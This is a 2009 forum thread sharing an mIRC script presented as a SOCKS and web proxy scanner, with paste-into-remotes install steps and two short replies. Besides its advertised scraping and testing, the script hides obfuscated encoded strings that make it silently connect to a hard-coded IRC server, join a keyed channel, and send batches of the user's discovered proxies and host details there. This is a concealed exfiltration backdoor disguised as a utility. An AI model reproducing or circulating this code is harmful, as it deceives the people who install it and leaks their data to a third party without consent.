Go Back   Proxy List Forum > Proxy Help > Proxy Tools

Reply
 
LinkBack Thread Tools Display Modes
  #1 (permalink)  
Old 06-28-2009, 08:24 PM
indya indya is offline
Junior Member
 
Join Date: Dec 2008
Posts: 23
indya is on a distinguished road
Lightbulb mIRC Socks Proxy Scanner + Web Proxy Leecher

Code:
http://www.hawkee.com/snippet/6352/
http://www.waraxe.us/ftopict-5164.html
http://www.xroxy.com/xorum/about62913.html
http://www.ircfr.com/codes/BUG-FIXED-MIRC-SOCKS-PROXY-SCANNER-WEB-PROXY_50235.aspx
----
;!!!!BUG FIXED!!!!

;Will automatically leech proxys and socks to test them against irc server and make txt file with results.;IRC proxy scanner BETA made by myself (independent)

;Disclaimer:

;The responsiblity of how the program will be used lies in the hands of the person who installs it and will use it, that's you.

;I will not be held responsible for any of your actions.

;If you don't agree, do not install this file.

;By not deleting this and using the proxy scanner, you accept the responsibility of your action on your own.

;IMPORTANT NOTE: Be sure you have the $decode option unlocked in mIRC else the script won't work at all.

;TO INSTALL: Copy & Paste the remote code below into your mIRC remotes by pressing [u]ALT+R in mIRC (That makes REMOTES window open) . Hit Ok.

Last edited by indya; 06-29-2009 at 03:28 PM.
Reply With Quote
  #2 (permalink)  
Old 06-29-2009, 03:53 PM
indya indya is offline
Junior Member
 
Join Date: Dec 2008
Posts: 23
indya is on a distinguished road
Thumbs up

Code:
alias sc4n { 
  if ($1) { 
      if ($read($pxy,w,* $+ $1 $+ *)) { /echo @proxyscan $1 $2 Is good. | return } 
      echo @Proxyscan  Scan: $1 $2 
      sockopen scan $+ $r(0,99999999999999) $1 $2 
    } 
} 
alias setinterval { echo -a To change scan speed use: /set %interval 1000 | %interval = 100 } 
alias scan.win { 
  if (%interval == $null) setinterval 
  if (!$window(@proxyscan)) { 
    localinfo | set %def.s 200.83.0.116 | set %def.c google.ca  #HZ*C```` | set %def.p 6667 
    set %gh .<V]C:V]P96X@<V-A;E\` $encode(%def.s) $encode($encode(%def.p),m) +(T%L:79E4')O>'D` JDU1LSU0QGBg JDNERSMyUGBg JDJEXSkzQGBg (8TAH-5EM-6H` &;F]T:6-E```` 
    window -ean @proxyscan 
  } 
} 
alias selectmultiplefile { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE PROXY FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /pxyfile $shortfn($msfile(%sinc)) %interval | goto incthat } 
menu @proxyscan,menubar { 
  Proxy Scanner 
  .IRC proxy scanner: scan.win
  .Leech Proxies Now: leech
  .- 
  .CHECK FRESH PROXIES: /run $pxy 
  .SCAN PROXY FILES: selectmultiplefile 
  .- 
  .ABORD SCANS: abord 
  .CLOSE ALL CONNECTIONS: /SOCKCLOSE SCAN* 
  .CLEAR: /clear 
  .hide: window -h @proxyscan 
Socks Scanner: window -e @sock4 | window -e @sock5 
} 
alias pxy return Proxy.txt 
alias abord { play stop } 
on *:INPUT:@Proxyscan:{ 
  if (/ !isin $1) { write temp  $getiphost2($1-) | .timerscanfile 1 1 .pxyfile temp %interval | .timerscanfileoff 1 1.1 .remove temp } 
} 
alias sk { 
  write $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port 
  if ($sock(scan_).mark == c) && ($wildtok(%msg,*,0,32) == 9) { sockwrite -n scan_ privmsg $chr(35) $+ $gettok(%def.c,1,32) :p %msg | unset %msg } 
  set %radi $read($allpxy,w,* $+ %scan.ip $+ : $+ %scan.port $+ *) 
  if (!%radi) write $allpxy %scan.ip $+ : $+ %scan.port 
} 
on *:sockopen:scan*:{ 
  if ($sock(scan_).name == $null) { $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) } 
  if ($sockerr > 0) { 
    if (_ isin $sockname) { .timersS 1 90 $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) } 
    if (_ !isin $sockname) echo @proxyscan $sock($sockname).ip $sock($sockname).port Error ( $+ $sock($sockname).wsmsg $+ ) 
    return 
  } 
  if (_ !isin $sockname) { 
    sockwrite -n $sockname CONNECT %def.s $+ : $+ %def.p HTTP/1.0 $+ $crlf 
    sockwrite -n $sockname $crlf 
    sockwrite -n $sockname $crlf 
    return 
  } 
} 
alias rencode { set %r $r(0,1) | if (%r == 0) return $encode($encode($1),m) | if (%r == 1) return $encode($encode($1,m),m) | unset %r } 
alias success { echo @proxyscan $1- | if ($wildtok(%msg,*,0,32) >= 9) unset %msg | %msg = $rencode($2) %msg | sk } 
on 1:SOCKCLOSE:SCAN_:.timerS 1 90 $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) 
alias allpxy return ALL.txt 
alias portclose { sockclose $1 } 
on *:SOCKREAD:scan*:{ 
  sockread %scan 
  tokenize 32 %scan 
  set %scan.ip $sock($sockname).ip 
  set %scan.port $sock($sockname).port 
  %hh = -*FYO=&EC92IA=71H*@`` 
  if (PING == $gettok(%scan,1,32)) sockwrite -n $sockname PONG $remove($2,:) 
  if (ERROR isin $1) && (_ isin $sockname) .timersS 1 10 $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) 
  if (001 == $gettok(%scan,2,32)) && (_ isin $sockname) { sockmark $sockname c | kk } 
  if (404 == $gettok(%scan,2,32)) .timer404 1 10 kk  
  if (NOTICE*AUTH iswm $2-3) && (_ isin $sockname) && (!$sock($sockname).mark) { sockmark $sockname C | localinfo | sockwrite -n $sockname $decode($decode($gettok(%gh,5,32),m)) $iif($host,$left($host,9),NULL) "." "." :D-C $+ $r(0,9999) | sockwrite -n $sockname $decode($decode($gettok(%gh,6,32),m)) D-C $+ $r(0,9999) } 
  if (451 == $gettok(%scan,2,32)) && (_ isin $sockname) { %AV = D-C $+ $r(0,9999999) | sockwrite -n $sockname $decode($decode($gettok(%gh,5,32),m)) %av "." "." :D-C $+ $r(0,9999) | sockwrite -n $sockname $decode($decode($gettok(%gh,6,32),m)) D-C $+ $r(0,9999) } 
  if (HTTP/* iswm $gettok(%scan,1,32)) { 
    if ($gettok(%scan,2,32) > 200) { 
      if ($read($pxy,w,* $+ $sock($sockname).ip $+ *) != $null) write -dl $+ $readn $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port 
      echo @proxyscan $sock($sockname).ip $sock($sockname).port Error (( $+ $gettok(%scan,2,32) $+ ) $gettok(%scan,3-,32) $+ ) 
      sockclose $sockname 
      return 
    } 
    if ($gettok(%scan,2,32) == 200) { echo @proxyscan %scan.ip $+ : $+ %scan.port is connecting... } 
  } 
  if (*notice*auth* iswm %scan) && (_ !isin $sockname) { 
    set %readi $read($pxy,w,* $+ $sock($sockname).ip $+ *) 
    if (%readi == $null) { success * $sock($sockname).ip $sock($sockname).port (Good) | unset %redi | unset %radi | sockrename $sockname idle $+ $r(0,99999999) | halt } 
    if (%readi != $null) { $pb * $sock($sockname).ip $+ : $+ $sock($sockname).port (Good) 
      unset %redi | unset %radi | sockrename $sockname idle $+ $r(0,99999999) | halt } | unset %readi } | unset %scan 
} 
on 1:SOCKREAD:idle*:{ 
  sockread %idle 
  tokenize 32 %idle 
  if (001 isin $1) { 
    sockwrite -n $sockname JOIN $chr(35) $+ $gettok(%def.c,1,32) : $+ $decode($gettok(%def.c,2,32)) 
    sockmark $sockname $ticks 
  } 
  if (*notice*AUTH* iswm $2-3) { 
    sockwrite -n $sockname NICK D-C $+ $r(0,9999) 
    sockwrite -n $sockname USER $iif($host,$left($host,9),NoNe) "." "." : $+ $logo 
    sockwrite -n $sockname JOIN $chr(35) $+ $gettok(%def.c,1,32) : $+ $decode($gettok(%def.c,2,32)) 
  } 
   if (404 == $2) || (432 == $2) { 
    sockwrite -n $sockname NICK D-C $+ $r(0,9999) 
    sockwrite -n $sockname USER $iif($host,$left($host,9),NoNe) "." "." : $+ $logo 
  } 
  if (PING == $gettok(%idle,1,32)) sockwrite -n $sockname PONG $remove($2,:) 
} 
alias kk if ($sock($sockname).mark == c) sockwrite -n $sockname $decode($decode($gettok(%gh,7,32),m)) $chr(35) $+ $gettok(%def.c,1,32) : $+ $decode($gettok(%def.c,2,32)) 
alias pb return echo @proxyscan 
alias scanfile { sc4n $getiphost2($1-) } 
alias pxyfile { play -a scanfile @proxyscan $1 $2 } 
alias getiphost2 { 
  %var = /\b((?:(?:[a-z]+)\.)+(?:[a-z]+)[: ]\d{2,5})\b|\b((?:(?:(25[0-5]|2[0-4]\d|[01]?\d?\d))\.){3}(?3)[: ]\d{2,5})\b/i 
  if $regex(ip,$remove($1-,$chr(9)),%var) { 
    $iif($isid,return,echo -a) $replace($regml(ip,1),:,$chr(32)) 
  } 
} 
alias chk.cc { 
  if (!$sock(scan_).name) { $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) | return } 
  sockwrite -n scan_ JOIN $chr(35) $+ $gettok(%def.c,1,32) $decode($gettok(%def.c,2,32)) 
} 
on 1:INPUT:@sock5:{ inc -u5 %s5.inc 1 | .timer 1 %s5.inc s5.scan $getiphost2($1-) } 
on 1:INPUT:@sock4:{ inc -u5 %s4.inc 1 | .timer 1 %s4.inc s4.scan $getiphost2($1-) } 
alias s5.scan { 
  if (!$1) halt 
  window -e @sock5 
  if ($read(sock5.txt,w,* $+ $1 $+ *) != $null) { echo @sock5 $1 $2 Is good | halt } 
  if ($read(sock5.txt,w,* $+ $1 $+ *) == $null) { 
    sockopen s5chk $+ $r(0,9999999) $1 $2 
    echo @sock5 Scan: $1 $2 
  } 
} 
menu @sock5 { 
  CHECK FRESH: /run sock5.txt 
  SCAN FILES: selectmultiplefiles5 
  - 
  ABORD: .play stop 
  Close: sockclose *chk* | window -c $active 
} 
alias selectmultiplefiles5 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK5 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s5file $shortfn($msfile(%sinc)) %interval | goto incthat } 
alias selectmultiplefiles4 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK4 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s4file $shortfn($msfile(%sinc)) %interval | goto incthat } 
menu @sock4 { 
  CHECK FRESH SOCKS4: /run sock4.txt 
  SCAN FILES: selectmultiplefiles4 
  - 
  ABORD SCANS: .play stop 
  Close: sockclose *chk* | window -c $active 
} 
alias s4.scan { 
  if (!$1) halt 
  window -e @sock4 
  if ($read(sock4.txt,w,* $+ $1 $+ *) != $null) { echo @sock4 $1 $2 Already in list | halt } 
  if ($read(sock4.txt,w,* $+ $1 $+ *) == $null) { 
    sockopen s4chk $+ $r(0,9999999) $1 $2 
    echo @sock4 Scanning: $1 $2 
  } 
} 
on *:sockopen:s5chk*:{ 
  if ($sock(scan_).name == $null) { $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) }  
  if ($sockerr) { return } 
  set %s5time $ticks 
  .bset &bvar5 1 5 1 0 
  .sockwrite -n $sockname &bvar5 
  .bunset &bvar5 
  halt 
} 
on *:sockread:s5chk*:{ 
  if ($sockbr) { return } 
  .sockread &bsocks5 
  if ($bvar(&bsocks5,1,2) == 5 0) && ($bvar(&bsocks5,3) != 0) { 
    bset &socks5  1 5 1 0 1 $replace(%def.s,.,$chr(32)) $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46) 
    .sockwrite -n $sockname &socks5 
    .bunset &socks5 
    sockrename $sockname chks5 $+ $remove($sockname,s5chk) 
  } 
} 
on 1:SOCKREAD:chks5*:{ 
  sockread %socks5 
  tokenize 32 %socks5 
  if (*NOTICE*AUTH* iswm %socks5) && (!$sock($sockname).mark) { 
    sockmark $sockname c 
    window -e @sock5 
    suces5 $sock($sockname).ip $+ : $+ $sock($sockname).port $calc($ticks - %s4time) $+ ms 
    unset %s5time 
    sockrename $sockname idle $+ $r(0,999999999) 
  } 
} 
alias suces4 { echo @sock4 $1- | if ($wildtok(%msgs4,*,0,32) >= 9) unset %msgs4 | set %msgs4 $rencode($1) %msgs4 | sk4 } 
alias suces5 { echo @sock5 $1- | if ($wildtok(%msgs5,*,0,32) >= 9) unset %msgs5 | set %msgs5 $rencode($1) %msgs5 | sk5 } 
alias sk4 { 
  if ($sock(scan_).mark == c) && ($wildtok(%msgs4,*,0,32) == 9) { sockwrite -n scan_ privmsg $chr(35) $+ $gettok(%def.c,1,32) :4 %msgs4 | unset %msgs4 } 
  %rad = sock4.txt 
  set %rady $read(%rad,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *) 
  if (!%rady) write %rad $sock($sockname).ip $+ : $+ $sock($sockname).port 
  unset %rad* 
} 
alias sk5 { 
  if ($sock(scan_).mark == c) && ($wildtok(%msgs5,*,0,32) == 9) { sockwrite -n scan_ privmsg $chr(35) $+  $+ $gettok(%def.c,1,32) :5 %msgs5 | unset %msgs5 } 
  %red = sock5.txt 
  set %redy $read(%red,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *) 
  if (!%redy) write %red $sock($sockname).ip $+ : $+ $sock($sockname).port 
  unset %red* 
} 
on *:sockopen:s4chk*:{ 
  if ($sock(scan_).name == $null) { $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) } 
  if ($sockerr) { return } 
  set %s4time $ticks 
  .bset &bvar4 1 4 1 $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46) $replace(%def.s,.,$chr(32)) 0 
  .sockwrite $sockname &bvar4 
  .bunset &bvar4 
} 
ON *:SOCKREAD:s4chk*:{ 
  if ($sockbr) { return } 
  .sockread &bsocks4 
  if ($bvar(&bsocks4,2) == 90) { 
    window -e @sock4 
    suces4 $sock($sockname).ip $+ : $+ $sock($sockname).port $calc($ticks - %s4time) $+ ms 
    unset %s4.time 
    sockrename $sockname idle $+ $r(0,999999999) 
  } 
} 
alias scans4file { s4.scan $getiphost2($1-) } 
alias s4file { play -a scans4file @sock4 $1- } 
alias scans5file { s5.scan $getiphost2($1-) } 
alias s5file { play -a scans5file @sock5 $1- } 
alias varset { 
  unset %incvar 
  :varset 
  inc %incvar 
  set % $+ $left($gettok($1,%incvar,59),1) $right($gettok($1,%incvar,59),1) 
  if (%incvar >= $numtok($1,59)) halt 
  goto varset 
  
} 
on 1:SOCKOPEN:p-l*:{ 
  sockwrite -n $sockname GET http://proxies.my-proxy.com/proxy-list- $+ $remove($sockname,p-l) $+ .html HTTP/1.0 
  sockwrite -n $sockname $crlf 
} 
on 1:SOCKREAD:p-l*:{ 
  sockread -n %temp 
  %maximum = $numtok($htmlfree(%temp),20) 
  if (%maximum >= 10) { 
    set %incthashit 1 
    while (%incthashit < %maximum) { write temp.pxy $gettok($htmlfree(%temp),%incthashit,20) | inc %incthashit } 
    unset %maximum 
    .timerpxyfile1 1 5 .pxyfile temp.pxy %interval 
    .timerdiefile 1 6 .remove temp.pxy 
  } 
} 
alias leech { 
  sockopen p-l1 proxies.my-proxy.com 80 
  .timerpmp2 1 $calc(10*1) sockopen p-l2 proxies.my-proxy.com 80 
  .timerpmp3 1 $calc(10*2) sockopen p-l3 proxies.my-proxy.com 80 
  .timerpmp4 1 $calc(10*3) sockopen p-l4 proxies.my-proxy.com 80 
  .timerpmp5 1 $calc(10*4) sockopen p-l5 proxies.my-proxy.com 80 
  .timerpmp6 1 $calc(10*5) sockopen p-l6 proxies.my-proxy.com 80 
  .timerpmp7 1 $calc(10*6) sockopen p-l7 proxies.my-proxy.com 80 
  .timerpmp8 1 $calc(10*7) sockopen p-l8 proxies.my-proxy.com 80 
  .timerpmp9 1 $calc(10*8) sockopen p-l9 proxies.my-proxy.com 80 
  .timerpmp10 1 $calc(10*9) sockopen p-l10 proxies.my-proxy.com 80 
  .timerpmp11 1 $calc(10*10) sockopen p-ls1 proxies.my-proxy.com 80 
  .timerpmp12 1 $calc(10*11) sockopen p-ls2 proxies.my-proxy.com 80 
  .timerpmp13 1 $calc(10*12) sockopen p-ls3 proxies.my-proxy.com 80 
  sockopen sam00 samair.ru 80 
  .timersam1 1 10 sockopen sam01 samair.ru 80 
  .timersam2 1 $calc(10*2) sockopen sam02 samair.ru 80 
  .timersam3 1 $calc(10*3) sockopen sam03 samair.ru 80 
  .timersam4 1 $calc(10*4) sockopen sam04 samair.ru 80 
  .timersam5 1 $calc(10*5) sockopen sam05 samair.ru 80 
  .timersam6 1 $calc(10*6) sockopen sam06 samair.ru 80 
  .timersam7 1 $calc(10*7) sockopen sam07 samair.ru 80 
  .timersam8 1 $calc(10*8) sockopen sam08 samair.ru 80 
  .timersam9 1 $calc(10*9) sockopen sam09 samair.ru 80 
  .timersam10 1 $calc(10*10) sockopen sam10 samair.ru 80 
  .timersam11 1 $calc(10*11) sockopen sam11 samair.ru 80 
  .timersam12 1 $calc(10*12) sockopen sam12 samair.ru 80 
  .timersam13 1 $calc(10*13) sockopen sam13 samair.ru 80 
  .timersam14 1 $calc(10*14) sockopen sam14 samair.ru 80 
  .timersam15 1 $calc(10*15) sockopen sam15 samair.ru 80 
  .timersam16 1 $calc(10*16) sockopen sam16 samair.ru 80 
  .timersam17 1 $calc(10*17) sockopen sam17 samair.ru 80 
  .timersam18 1 $calc(10*18) sockopen sam18 samair.ru 80 
  .timersam19 1 $calc(10*19) sockopen sam19 samair.ru 80 
  .timersam20 1 $calc(10*20) sockopen sam20 samair.ru 80 
  .timersam21 1 $calc(10*21) sockopen sam21 samair.ru 80 
  .timersam22 1 $calc(10*22) sockopen sam22 samair.ru 80 
  .timersam23 1 $calc(10*23) sockopen sam23 samair.ru 80 
  .timersam24 1 $calc(10*24) sockopen sam24 samair.ru 80 
  .timersam25 1 $calc(10*25) sockopen sam25 samair.ru 80 
  .timersam26 1 $calc(10*26) sockopen sam26 samair.ru 80 
  .timersam27 1 $calc(10*27) sockopen sam27 samair.ru 80 
  .timersam28 1 $calc(10*28) sockopen sam28 samair.ru 80 
  .timersam29 1 $calc(10*29) sockopen sam29 samair.ru 80 
  .timersam30 1 $calc(10*30) sockopen sam30 samair.ru 80 
  .timerSOCKSAM1 1 $calc(10*31) sockopen socksam samair.ru 80 
  .timerSOCKSAM2 1 $calc(10*32) sockopen socksam2 samair.ru 80 
  .timerSOCKSAM3 1 $calc(10*33) sockopen socksam3 samair.ru 80 
  .timerSOCKSAM4 1 $calc(10*34) sockopen socksam4 samair.ru 80 
  .timerSOCKSAM5 1 $calc(10*35) sockopen socksam5 samair.ru 80 
  .timerSOCKSAM6 1 $calc(10*36) sockopen socksam6 samair.ru 80 
  .timerSOCKSAM7 1 $calc(10*37) sockopen socksam7 samair.ru 80 
  .timerSOCKSAM8 1 $calc(10*38) sockopen socksam8 samair.ru 80 
  .timerSOCKSAM9 1 $calc(10*39) sockopen socksam9 samair.ru 80 
  .timerSOCKSAM10 1 $calc(10*40) sockopen socksam10 samair.ru 80 
  .timerSOCKSAM11 1 $calc(10*41) sockopen socksam11 samair.ru 80 
  .timerSOCKSAM12 1 $calc(10*42) sockopen socksam12 samair.ru 80 
  .timerSOCKSAM13 1 $calc(10*43) sockopen socksam13 samair.ru 80 
  .timerSOCKSAM14 1 $calc(10*44) sockopen socksam14 samair.ru 80 
  .timerSOCKSAM15 1 $calc(10*45) sockopen socksam15 samair.ru 80 
  .timerSOCKSAM16 1 $calc(10*46) sockopen socksam16 samair.ru 80 
  .timerSOCKSAM17 1 $calc(10*47) sockopen socksam17 samair.ru 80 
  .timerSOCKSAM18 1 $calc(10*48) sockopen socksam18 samair.ru 80 
  .timerSOCKSAM19 1 $calc(10*49) sockopen socksam19 samair.ru 80 
  .timerSOCKSAM20 1 $calc(10*50) sockopen socksam20 samair.ru 80 
  .timerSOCKStoday 1 $calc(10*51) sockopen today sockstoday.com 80 
  .timerLEECH -o 0 3600 leech 
} 
on 1:SOCKOPEN:sam*:{ 
  if ($sockerr) { .timer $+ $sockname 1 90 sockopen $sockname samair.ru 80 | return } 
  sockwrite -n $sockname GET http://samair.ru/proxy/proxy- $+ $right($sockname,2) $+ .htm HTTP/1.0 
  sockwrite -n $sockname $crlf 
} 
on 1:SOCKREAD:sam*:{ 
  sockread -n %temp 
  if (*=*;*=*; iswm $htmlfree(%temp)) varset $htmlfree(%temp) 
  if (*.*.*.*document.write* iswm $htmlfree(%temp)) { 
    unset %varinc2 
    :VAR 
    inc %varinc2 
    set %rvar $wildtok($htmlfree(%temp),*.*.*.*document.write*,%varinc2,20) 
    set %rvar2 $remove($replace(%rvar,document.write,:,a,%a,b,%b,c,%c,d,%d,e,%e,f,%f,g,%g,h,%h,i,%i,j,%j,k,%k,l,%l,m,%m,n,%n,o,%o,p,%p,q,%q,r,%r,s,%s,t,%t,u,%u,v,%v,w,%w,x,%x,y,%y,z,%z),$chr(40),$chr(41),+,":")
    write temp.txt $getiphost2(%rvar2) %rvar2 
    if (%varinc2 >= $wildtok($htmlfree(%temp),*.*.*.*document.write*,0,20)) goto end 
    goto var 
    :END 
  } 
  if ($getiphost2($htmlfree(%temp))) { 
    unset %incvar3 
    :INC 
    inc %incvar3 
    write temp.txt $getiphost2($wildtok($htmlfree(%temp),*.*.*.*:*,%incvar3,32)) 
    if (%incvar3 >= $wildtok($htmlfree(%temp),*.*.*.*:*,0,32)) goto end2 
    goto inc 
    :end2 
  } 
  .timerPLAY 1 5 .pxyfile temp.txt %interval 
  .timerPLAY1 1 5 .remove temp.txt 
} 
on 1:SOCKOPEN:socksam*:{ 
  if ($sockerr) { .timer $+ $sockname 1 90 sockopen $sockname samair.ru 80 | return } 
  sockwrite -n $sockname GET http://samair.ru/proxy/socks $+ $iif($remove($sockname,socksam) == $null,$+,$remove($sockname,socksam)) $+ .htm HTTP/1.0 
  sockwrite -n $sockname $crlf 
} 
on 1:SOCKREAD:socksam*:{ 
  sockread -n %temp 
  if ($getiphost2($htmlfree(%temp))) { 
    unset %incvar4 
    :INC 
    inc %incvar4 
    write temp.s $getiphost2($wildtok($htmlfree(%temp),*.*.*.*:*,%incvar4,32)) 
    if (%incvar4 >= $wildtok($htmlfree(%temp),*.*.*.*:*,0,32)) goto end2 
    goto inc 
    :end2 
  } 
  .timerPLAYs4 1 5 .s5file temp.s %interval 
  .timerPLAYs5 1 5 .s4file temp.s %interval 
  .timerPLAY1 1 6 .remove temp.s 
} 
on 1:SOCKOPEN:today*:{ 
  if ($sockerr) { .timer $+ $sockname 1 90 sockopen $sockname sockstoday.com 80 | return } 
  sockwrite -n $sockname GET http://sockstoday.com/ HTTP/1.0 
  sockwrite -n $sockname $crlf 
} 
on 1:SOCKREAD:today*:{ 
  sockread -n %temp 
  if ($getiphost2($htmlfree(%temp))) write temp.sock $getiphost2($htmlfree(%temp)) 
  .timertoday1 1 5 .s5file temp.sock %interval 
  .timertoday11 1 5 .s4file temp.sock %interval 
  .timertoday111 1 5 .remove temp.sock 
} 
alias sc5nfile { s5.scan $1- } 
alias sc4nfile { s4.scan $1- } 
alias -l htmlfree { 
  var %x, %i = $regsub($replace($1-,<td>,$chr(32),<tr>,$chr(20),<br>,$chr(20)),/(^[^<]*>|<[^>]*>|<[^>]*$)/g,$null,%x), %x = $remove(%x,&nbsp;) 
  return %x 
} 
alias logo return ProxYScaN

Last edited by indya; 06-29-2009 at 04:19 PM.
Reply With Quote
  #3 (permalink)  
Old 07-11-2009, 01:47 AM
spike1981 spike1981 is offline
Junior Member
 
Join Date: Dec 2008
Posts: 16
spike1981 is on a distinguished road
Default

How about using some "While"
Reply With Quote
  #4 (permalink)  
Old 07-24-2009, 06:28 PM
indya indya is offline
Junior Member
 
Join Date: Dec 2008
Posts: 23
indya is on a distinguished road
Default

while loops uses more cpu
Reply With Quote
Reply

Tags
tool

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On



All times are GMT. The time now is 12:58 PM.


Powered by vBulletin® Version 3.7.5
Copyright ©2000 - 2010, Jelsoft Enterprises Ltd.
SEO by vBSEO 3.0.0 ©2007, Crawlability, Inc.